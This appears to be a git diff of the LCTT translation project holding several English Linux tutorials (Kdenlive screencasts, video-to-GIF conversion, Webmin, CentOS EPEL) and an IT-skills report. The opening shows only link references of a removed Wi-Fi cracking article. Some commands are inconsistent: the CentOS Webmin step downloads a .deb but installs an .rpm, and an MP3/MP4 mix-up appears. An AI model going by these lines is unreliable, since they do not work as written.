译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
[2]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
|
||||
[4]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[5]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[6]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2011%2F12%2Fresearchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[9]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2012%2F01%2Fhands-on-hacking-wifi-protected-setup-with-reaver.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[10]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[11]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2Fissues%2Fdetail%3Fid%3D44&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap
|
||||
[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt
|
||||
[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt
|
||||
[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt
|
||||
[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router
|
@ -1,95 +0,0 @@
|
||||
translating by coolpigs
|
||||
|
||||
How to Make a YouTube Instructional Screencast Video on Linux
|
||||
================================================================================
|
||||
A picture is worth a thousand words, and a well-crafted how-to video is darned near priceless. Linux has all the tools you need to make high-quality and useful instructional videos. We shall make a simple screencast with the wonderful Kdenlive video editor and the Audacity audio recorder and editor, and learn how to share this splendid screencast on YouTube.
|
||||
|
||||
All you need is your nice Linux PC with Kdenlive and Audacity installed, a good-quality microphone or headset, and a YouTube account. (Yes, there are many other free video-sharing services, and you are welcome to explore them.) YouTube is owned by Google, so Google tries to entice you into rampant sharing with everything and everyone in the world. Just say no if this is not what you want to do.
|
||||
|
||||
Our workflow goes like this:
|
||||
|
||||
- Capture screencast with Kdenlive
|
||||
- Record soundtrack with Audacity
|
||||
- Add soundtrack to Kdenlive
|
||||
- Upload to YouTube
|
||||
- The world views your video and is happy.
|
||||
|
||||
Kdenlive supports most popular digital video formats, including AVI, MP4, H.264, and MOV. It supports image files such as GIF, PNG, SVG, and TIFF, and audio file formats including uncompressed PCM, Vorbis, WAV, MP3 and AC3. You can even read and edit Flash files. In short, it should handle pretty much anything you throw at it.
|
||||
|
||||
Your soundtrack is just as important as your video track. Please, I beg you, pay attention to your audio. Keep it clean and simple, and keep the rambling digressions, verbal tics, and distracting background noises to a minimum. I prefer a good-quality headset for making narrations because you don't have to worry about microphone placement, and you can listen to yourself over and over without driving bystanders insane.
|
||||
|
||||
The Kdenlive documention is outdated and tells you that you need RecordMyDesktop to make screencasts. I have Kdenlive 0.9.4, and it does not need RecordMyDesktop.
|
||||
|
||||

|
||||
|
||||
*Figure 1: Default profile settings.*
|
||||
|
||||
### Making the Screencast ###
|
||||
|
||||
If you're installing Kdenlive for the first time you'll get a configuration wizard at first run. Don't worry too much about the default settings because you can change them anytime. These are the settings I use for my screencasts: HD 720p 30 fps, 1280x720 screen size. How do you know what settings to use? [YouTube tells you][1]. To set these values go to Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps (figure 1), and set the size of your screen capture in Settings > Configure Kdenlive > Capture > Screen Grab (figure 2). You may also choose a Full Screen Capture, though it's better to stick with the dimensions specified by YouTube, because if they're different YouTube adds pillarboxes to make them fit. Your eager viewers want to see a screen filled with glorious content, not pillarboxes.
|
||||
|
||||

|
||||
|
||||
*Figure 2: Screencast screen size.*
|
||||
|
||||
The default YouTube video player size is 640x360 at 320p, which is small and blurry. The player has controls for small, larger, and full-screen, plus multiple quality levels. These are for your viewers only, and you can't change the defaults, which is sad because nothing looks good at 640x360 at 320p. But you still want to make videos with the higher quality settings, and you can always add some text to remind your viewers to try the better settings.
|
||||
|
||||
### Save Your Project ###
|
||||
|
||||
Before you do anything else go to File > Save as to save your project, and remember to save it periodically.
|
||||
|
||||
### Screen Grab ###
|
||||
|
||||
Making your screen capture is easy as pie. Go to the Record Monitor, select Screen Grab, and then hit the Record button. This opens a box with dotted borders on your screen, and everything inside this box is recorded. So all you have to do is move and size the window you want recorded inside the box. Do your thing, then when you're finished click the stop button (figure 3).
|
||||
|
||||

|
||||
|
||||
*Figure 3: Making the screen grab.*
|
||||
|
||||
Clicking Stop automatically opens the Clip Monitor so you can preview your new clip. If you like it, drag it from the Project Tree to the Video 1 track. Now you can edit your new video. There are always bits you'll want to trim; a fast way to do this is to play your clip in the Project Monitor until you get to the end of the part you want to remove. Then Pause, then press Shift+r. This cuts your clip at the point on the timeline that you stopped, so now you have two clips. Click on the one you want to delete and press the Delete key, and poof! It is gone.
|
||||
|
||||
You'll want to drag your remaining clip to whatever point on the timeline you want it to start, and you might want to add some nice transitions. Some simple fades are good; simply right-click on your clip and click Add Effect > Fade > Fade from black and Fade to black, and Kdenlive will automatically place them at the beginning and end.
|
||||
|
||||
### Adding a Soundtrack ###
|
||||
|
||||
Please see [Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2] to learn the basics of recording with Audacity. Export your recording as a 16-bit WAV file and then import it into Kdenlive via Project > Add Clip. Drag your new audio clip down to one of the Audio tracks. An easy way to make your narration is to play your video track and talk as it plays. With a little luck you won't have to do a lot of cleanup, and your commentary will be in sync with the video.
|
||||
|
||||

|
||||
|
||||
*Fig 4: Cut your track with Shift+r and drag one of the clips away from the cut to create a silent gap.*
|
||||
|
||||
If you're a fast talker and get ahead of your video, you can easily add a space in the audio track. Simply cut your track with Shift+r, and drag one of the clips away from the cut to create a silent gap (figure 4).
|
||||
|
||||
### Rendering Your Project ###
|
||||
|
||||
When you're happy with your edits and ready to export to your final format, click the Render button. This takes a few minutes depending on the speed of your computer and size of your project. There are presets for Web, and if you choose File Rendering you can tweak your settings (figure 5). I've gotten good results with File Rendering > H.264, Video bitrate 12000, and audio 384. H.264 is a super-compressed MPEG-4 format that delivers small file sizes and good quality.
|
||||
|
||||

|
||||
|
||||
*Fig. 5: Choose File Rendering to tweak your Web settings.*
|
||||
|
||||
### YouTube Bound ###
|
||||
|
||||
Play your new video in VLC or MPlayer or whatever you like, and if it looks good then you're ready to upload to your YouTube account. In typical Google fashion your dashboard and video manager are disorganized and complicated, but keep poking around and you'll figure it out. Before you can do anything you'll have to put your account in good standing, which means getting a code number from Google via text or email. When you prove you're not a bot by entering the code number you'll be able to upload videos.
|
||||
|
||||
You can upload your videos and mark them as either private or public. Google has some editing tools you might like, such as auto-fix and music soundtracks, though in my nearly-humble opinion hardly anyone does background music correctly so it's just annoying. But you might be the first to do it right!
|
||||
|
||||
The most useful editing tool is automatic closed-captioning. I recommend using this on all of your videos, not only for people who can't hear very well but for anyone who has to keep the volume low, and to make sure everyone understands what you're saying. The captioning tool also creates a transcript.
|
||||
|
||||
Another useful tool is the annotations tool, which supports speech bubbles, titles, spotlights, and labels. Of course you can do all this in Kdenlive, so you can try both.
|
||||
|
||||
Well, here we are at the end and it seems we've barely begun. Please share your videos and YouTube tips and tricks in the comments. And while you're at it, please share your new video tutorial with us on [video.linux.com][3] and join the 100 Linux Tutorials Campaign.
|
||||
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
|
||||
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
|
||||
[3]:http://video.linux.com/100-linux-tutorials
|
@ -0,0 +1,73 @@
|
||||
翻译中by Linux-pdz
|
||||
How to convert video to animated gif image on Linux
|
||||
================================================================================
|
||||
Once thought of as outdated art forms, animated GIF images have now come back. If you haven't noticed, quite a few online sharing and social networking sites are now supporting animated GIF images, for example, on [Tumblr][1], [Flickr][2], [Google+][3], and [partly on Facebook][4]. Due to their ease of consumption and sharing, GIF-ed animations are now part of mainstream Internet culture.
|
||||
|
||||
So some of you may wonder how you can create such animated GIF images. There are various online or offline tools dedicated to create animated GIF images. Another option is to create an animated GIF image off of an existing video clip. In this tutorial, I will describe **how to convert a video file to an animated GIF image on Linux**.
|
||||
|
||||
As a more useful example, let me demonstrate how to **convert a YouTube video to an animated GIF image**.
|
||||
|
||||
### Step 1: Download a YouTube Video ###
|
||||
|
||||
First, download a YouTube video that you would like to convert. You can use [youtube-dl][5] tool to save a YouTube video as an MP3 file. Suppose you saved your favorite YouTube video as "funny.mp3".
|
||||
|
||||
### Step 2: Extract Video Frames from a Video ###
|
||||
|
||||
Next, [install FFmpeg][5] on your Linux system, which I will use to extract video frames from the video.
|
||||
|
||||
The following command will extract individual video frames, and save them as GIF images. Make sure to use the output file format ("out%04d.gif") as is. That way, individual frames will be named and saved properly.
|
||||
|
||||
ffmpeg -t <duration> -ss <starting position in hh:mm:ss format> -i <input_video> out%04d.gif
|
||||
|
||||
For example, if you want to extract the video frames of input video, for 5 seconds, starting at 10 seconds from the beginning, run the following command.
|
||||
|
||||
$ ffmpeg -t 5 -ss 00:00:10 -i funny.mp4 out%04d.gif
|
||||
|
||||
After FFmpeg is completed, you will see a list of GIF files created, which are named as "out[\d+].gif".
|
||||
|
||||
### Step 3: Merge Video Frames into an Animated GIF ###
|
||||
|
||||
The next step is to merge individual GIF files into one animated GIF image. For that, you can use ImageMagick.
|
||||
|
||||
First, [install ImageMagick][7] on your Linux system if you haven't done so.
|
||||
|
||||
Then, run the following command to merge created GIF images into a single animated GIF file.
|
||||
|
||||
convert -delay <ticks>x<ticks-per-second> -loop 0 out*gif <output-gif-file>
|
||||
|
||||
In the command, "-delay" is an option that controls the animation speed. This option indicates that [ticks/ticks-per-second] seconds must elapse before the display of the next frame. The "-loop 0" option indicates infinite loops of animation. If you want, you can specify "-loop N", in which case the animation will repeat itself N times.
|
||||
|
||||
For example, to create an animated GIF image with 20 frames-per-second and infinite loop, use the following command.
|
||||
|
||||
$ convert -delay 1x20 -loop 0 out*.gif animation.gif
|
||||
|
||||
### Step 4 (Optional): Reduce the Size of an Animated GIF ###
|
||||
|
||||
The last (optional) step is to reduce the size of the created GIF file, by using ImageMagick's GIF optimizer.
|
||||
|
||||
Use the following command to reduce the GIF size.
|
||||
|
||||
convert -layers Optimize animation.gif animation_small.gif
|
||||
|
||||
Now you are ready to share the GIF image on your social networks. The following shows a sample GIF image that I created from a cute YouTube video.
|
||||
|
||||
Enjoy. :-)
|
||||
|
||||
[][8]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/convert-video-animated-gif-image-linux.html
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://staff.tumblr.com/post/15623140287/1mb-gifs
|
||||
[2]:http://www.flickr.com/photos/markus-weldon-imagebank/4439159924/sizes/o/in/photostream/
|
||||
[3]:https://plus.google.com/communities/110524851358723545415
|
||||
[4]:http://mashable.com/2013/08/29/gifs-return-to-facebook/
|
||||
[5]:http://xmodulo.com/2013/03/how-to-save-youtube-videos-on-linux.html
|
||||
[6]:http://xmodulo.com/2013/06/how-to-install-ffmpeg-on-linux.html
|
||||
[7]:http://ask.xmodulo.com/install-imagemagick-linux.html
|
||||
[8]:http://www.flickr.com/photos/xmodulo/10988763123/
|
@ -1,78 +0,0 @@
|
||||
[being translated] by thinkinglk
|
||||
How to manage Linux server with GUI
|
||||
================================================================================
|
||||
A typical Linux server runs in a command line interface (CLI) environment, preloaded with bare essential tools needed to install and configure various headless services. Compared to a full-blown GUI desktop image, such a minimal setup is advantageous in terms of security, resource consumption and speed.
|
||||
|
||||
If you are used to GUI-based environment, however, you may wonder whether there is a GUI for Linux server. A typical Linux desktop environment like GNOME, KDE, etc. will probably be too resource-heavy for what it's worth, and not as secure simply because there will be more code subject to potential security vulnerabilities.
|
||||
|
||||
An alternative to a full-blown desktop GUI is to use a **web-based server administration tool**. There are several web-based system configuration tools, such as [Webmin][1], [ISPconfig][2], [Zentyal][3], etc.
|
||||
|
||||
In this tutorial, I will describe **how to manage and configure a Linux server with Webmin's web-based GUI**.
|
||||
|
||||
Webmin is a lightweight (~20 MB) system configuration tool written in Perl. Webmin has a built-in web server, allowing users to configure a Linux server via web interface. One of its strength is its modular architecture where you can load modules to Webmin to extend its functionality.
|
||||
|
||||
### Install Webmin on Linux Server ###
|
||||
|
||||
To install Webmin on Ubuntu or Debian server, you can use the following commands.
|
||||
|
||||
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo dpkg -i webmin_1.660_all.deb
|
||||
|
||||
To install Webmin on CentOS or RHEL server, use these commands.
|
||||
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo rpm -U webmin-1.660-1.noarch.rpm
|
||||
|
||||
### Access Webmin Interface ###
|
||||
|
||||
Once you installed Webmin, you can access Webmin by going to https://<HOST_IP>:10000 on a web browser. If you have a firewall enabled, make sure that TCP 10000 port is not blocked.
|
||||
|
||||
Also, note that you should use HTTPS, not HTTP. Otherwise, you will get a redirection error. By default, Webmin runs in SSL mode with a default SSL certificate generated by Webmin.
|
||||
|
||||
Once you see Webmin's login page, you can log in as root (with the root password) or as any user who can use sudo on the Linux server. After logging in, you will see the status summary of your Linux server as follows.
|
||||
|
||||
[][4]
|
||||
|
||||
### Webmin Features ###
|
||||
|
||||
Webmin boasts of an extremely rich set of features that allow you to configure almost every aspect of a given Linux server. In the following, let me give you a glimpse of some of its powerful features.
|
||||
|
||||
Enable or disable boot-time services, and show their configuration status.
|
||||
|
||||
[][5]
|
||||
|
||||
Monitor the status of server and services in real time, and configure scheduled monitoring and notification emails. Here you can monitor various server daemons such as NFS, MySQL, BIND DNS, Squid proxy, Apache Web server, etc., as well as system resources such as disk storage, memory or network traffic.
|
||||
|
||||
Configure iptables-based firewall rules.
|
||||
|
||||
[][6]
|
||||
|
||||
Configure local routing table and gateways.
|
||||
|
||||
Mount and configure a filesystem.
|
||||
|
||||
[][7]
|
||||
|
||||
Access and modify local file system via web-based file manager interface. This requires Java plugin for web browser.
|
||||
|
||||
Change Webmin configurations, where you can access-control IP addresses, add/remove Webmin modules, enable two-factor authentication for secure login, set up certificate authority, etc.
|
||||
|
||||
[][8]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/manage-linux-server-gui.html
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.webmin.com/
|
||||
[2]:http://www.ispconfig.org/
|
||||
[3]:http://www.zentyal.org/
|
||||
[4]:http://www.flickr.com/photos/xmodulo/10937800943/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10937589506/
|
||||
[6]:http://www.flickr.com/photos/xmodulo/10937801173/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/10937589556/
|
||||
[8]:http://www.flickr.com/photos/xmodulo/10937532015/
|
96
sources/How to setup EPEL repository on CentOS 5 or 6.md
Normal file
96
sources/How to setup EPEL repository on CentOS 5 or 6.md
Normal file
@ -0,0 +1,96 @@
|
||||
NearTan 选题
|
||||
How to setup EPEL repository on CentOS 5/6
|
||||
================================================================================
|
||||
What is EPEL repository
|
||||
|
||||
EPEL (Extra Packages for Enterprise Linux) is a project from the Fedora group that maintains a repository of software packages that are not already present on RHEL/CentOS. The repository is compatible with RHEL and all close derivates like CentOS and Scientific Linux.
|
||||
|
||||
By using epel we can easily install many packages (around 10,000) with yum command, that are not already present in the centos repositories. EPEL packages are usually based on their Fedora counterparts and will never conflict with or replace packages in the base Enterprise Linux distributions.
|
||||
|
||||
Further details about the epel project are available at
|
||||
|
||||
[https://fedoraproject.org/wiki/EPEL][1]
|
||||
|
||||
So in this tutorial I am going show you how to setup the epel repositories on CentOS
|
||||
|
||||
> Note - There are many different 3rd party repositories that provide software packages for RHEL/CentOS systems. Some of the most popular ones are RpmForge, RpmFusion, EPEL, Remi etc.
|
||||
>
|
||||
> However it should be always kept in mind, that if multiple such third party repositories are added to a system, then it can lead of conflicts. The same package can come from multiple repositories, and some repositories can replace base packages of a system leading to unexpected troubles. Rpmforge and Epel are known to have conflicts.
|
||||
>
|
||||
> There are advanced techniques to tackle this like setting up priorities, or selectively installing packages from repositories, but ofcourse these require a lot of effort and so if you are not sure about all this, it is recommended to only use 1 such external repository.
|
||||
|
||||
### Install EPEL on CentOS ###
|
||||
|
||||
To setup epel on centos, we need to download the epel installation rpm and install it.
|
||||
The downloads pages for version 6.x and 5.x of CentOS/RHEL are the following
|
||||
|
||||
[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2]
|
||||
[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3]
|
||||
|
||||
The above urls would probably redirect to country specific mirrors for faster download. The page would contain a download link to download the rpm directly. The direct download links are
|
||||
|
||||
[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4]
|
||||
[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5]
|
||||
|
||||
Select the correct url depending on your centos version.
|
||||
Note that the EPEL installer package is architecture independant, so can be installed on both x86 and x64 systems.
|
||||
|
||||
### 1. Check your CentOS version ###
|
||||
|
||||
First check your centos version with the following command
|
||||
|
||||
$ cat /etc/redhat-release
|
||||
CentOS release 6.4 (Final)
|
||||
|
||||
### 2. Download EPEL rpm ###
|
||||
|
||||
Now download the epel rpm file for the corresponding centos version from one of the urls given above.
|
||||
|
||||
$ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
|
||||
|
||||
### 3. Install the EPEL rpm ###
|
||||
|
||||
Now install the epel package with the rpm command
|
||||
|
||||
$ sudo rpm -ivh epel-release-6-8.noarch.rpm
|
||||
or
|
||||
$ sudo rpm -ivh epel-release*
|
||||
|
||||
### 5. Check EPEL repository ###
|
||||
|
||||
After installing the epel repository, check that it has been added to the repository list with the yum command
|
||||
|
||||
# yum repolist
|
||||
Loaded plugins: fastestmirror
|
||||
Loading mirror speeds from cached hostfile
|
||||
* base: mirrors.vonline.vn
|
||||
* epel: buaya.klas.or.id
|
||||
* extras: centos-hn.viettelidc.com.vn
|
||||
* updates: mirrors.fibo.vn
|
||||
repo id repo name status
|
||||
base CentOS-6 - Base 6,381
|
||||
epel Extra Packages for Enterprise Linux 6 - x86_64 10,023
|
||||
extras CentOS-6 - Extras 13
|
||||
nginx nginx repo 47
|
||||
updates CentOS-6 - Updates 1,555
|
||||
repolist: 18,019
|
||||
|
||||
The epel is listed after base repo and provides around 10K packages. So epel is now setup on CentOS.
|
||||
The epel repository is setup in the **/etc/yum.repos.d/epel.repo** file.
|
||||
|
||||
Now install something from the epel repository
|
||||
|
||||
$ sudo yum install htop
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/setup-epel-repository-centos/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://fedoraproject.org/wiki/EPEL
|
||||
[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html
|
||||
[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html
|
||||
[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
|
@ -0,0 +1,61 @@
|
||||
Insights into top 3 IT skill groups in highest demand
|
||||
================================================================================
|
||||

|
||||
|
||||
According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories.
|
||||
|
||||
It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills.
|
||||
|
||||
> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study.
|
||||
|
||||
### October 2013 update to IT skills classification ###
|
||||
|
||||

|
||||
|
||||
In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com.
|
||||
|
||||
### Embedded Devices Developers and Programmers ###
|
||||
|
||||
The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph.
|
||||
|
||||
In general, this group of skills can be further split into three segments. These are:
|
||||
|
||||
1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the October’s IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions.
|
||||
1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively.
|
||||
1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code.
|
||||
|
||||

|
||||
|
||||
### Virtualization Engineers including skills related to data storage and management ###
|
||||
|
||||
The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMware’s cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient.
|
||||
|
||||

|
||||
|
||||
### LAMP Administrators ###
|
||||
|
||||
Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other.
|
||||
|
||||

|
||||
|
||||
### Conclusion ###
|
||||
|
||||
In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed.
|
||||
|
||||
### References ###
|
||||
|
||||
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
|
||||
|
||||
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
